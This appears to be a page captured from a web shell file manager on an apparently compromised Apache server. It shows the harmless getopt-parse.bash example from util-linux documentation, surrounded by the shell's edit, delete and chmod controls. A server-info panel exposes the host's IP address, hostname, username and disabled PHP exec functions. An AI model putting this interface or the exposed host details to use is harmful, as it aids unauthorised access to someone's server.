Avacostn - Moslem
Choose File
DIR :
Home
/
usr
/
games
/
..
/
lib
/
environment.d
/
..
/
..
/
share
/
adobe
/
..
/
smartmontools
/
..
/
doc
/
vim-common
/
..
/
util-linux
/
puthuppa@68.178.173.116: ~ $
Edit File: getopt-parse.bash
#!/bin/bash # A small example script for using the getopt(1) program. # This script will only work with bash(1). # A similar script using the tcsh(1) language can be found # as getopt-parse.tcsh. # Example input and output (from the bash prompt): # # ./getopt-parse.bash -a par1 'another arg' --c-long 'wow!*\?' -cmore -b " very long " # Option a # Option c, no argument # Option c, argument 'more' # Option b, argument ' very long ' # Remaining arguments: # --> 'par1' # --> 'another arg' # --> 'wow!*\?' # Note that we use "$@" to let each command-line parameter expand to a # separate word. The quotes around "$@" are essential! # We need TEMP as the 'eval set --' would nuke the return value of getopt. TEMP=$(getopt -o 'ab:c::' --long 'a-long,b-long:,c-long::' -n 'example.bash' -- "$@") if [ $? -ne 0 ]; then echo 'Terminating...' >&2 exit 1 fi # Note the quotes around "$TEMP": they are essential! eval set -- "$TEMP" unset TEMP while true; do case "$1" in '-a'|'--a-long') echo 'Option a' shift continue ;; '-b'|'--b-long') echo "Option b, argument '$2'" shift 2 continue ;; '-c'|'--c-long') # c has an optional argument. As we are in quoted mode, # an empty parameter will be generated if its optional # argument is not found. case "$2" in '') echo 'Option c, no argument' ;; *) echo "Option c, argument '$2'" ;; esac shift 2 continue ;; '--') shift break ;; *) echo 'Internal error!' >&2 exit 1 ;; esac done echo 'Remaining arguments:' for arg; do echo "--> '$arg'" done
Filemanager
Name
Size
Permission
Actions
.
rwxr-xr-x
-
Actions
Rename
Delete
Chmod
..
rwxr-xr-x
-
Actions
Rename
Delete
Chmod
AUTHORS
28.65 KB
rw-r--r--
Actions
Edit
Delete
Chmod
Rename
NEWS
71.93 KB
rw-r--r--
Actions
Edit
Delete
Chmod
Rename
README
4.39 KB
rw-r--r--
Actions
Edit
Delete
Chmod
Rename
deprecated.txt
2.9 KB
rw-r--r--
Actions
Edit
Delete
Chmod
Rename
getopt-parse.bash
1.55 KB
rw-r--r--
Actions
Edit
Delete
Chmod
Rename
getopt-parse.tcsh
2.19 KB
rw-r--r--
Actions
Edit
Delete
Chmod
Rename
Close
Server Info
Hostname: 116.173.178.68.host.secureserver.net
IP Address: 68.178.173.116
PHP Version: 8.1.34
Server Software: Apache
HDD Total Space: 99.99 GB
HDD Free Space: 31.86 GB
Safe Mode: Disabled
Disable Functions: exec,passthru,shell_exec,system
Total Domains in Server: 1
System: Linux 116.173.178.68.host.secureserver.net 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User Info
Username: puthuppa
User ID: 1102
Group ID: 1104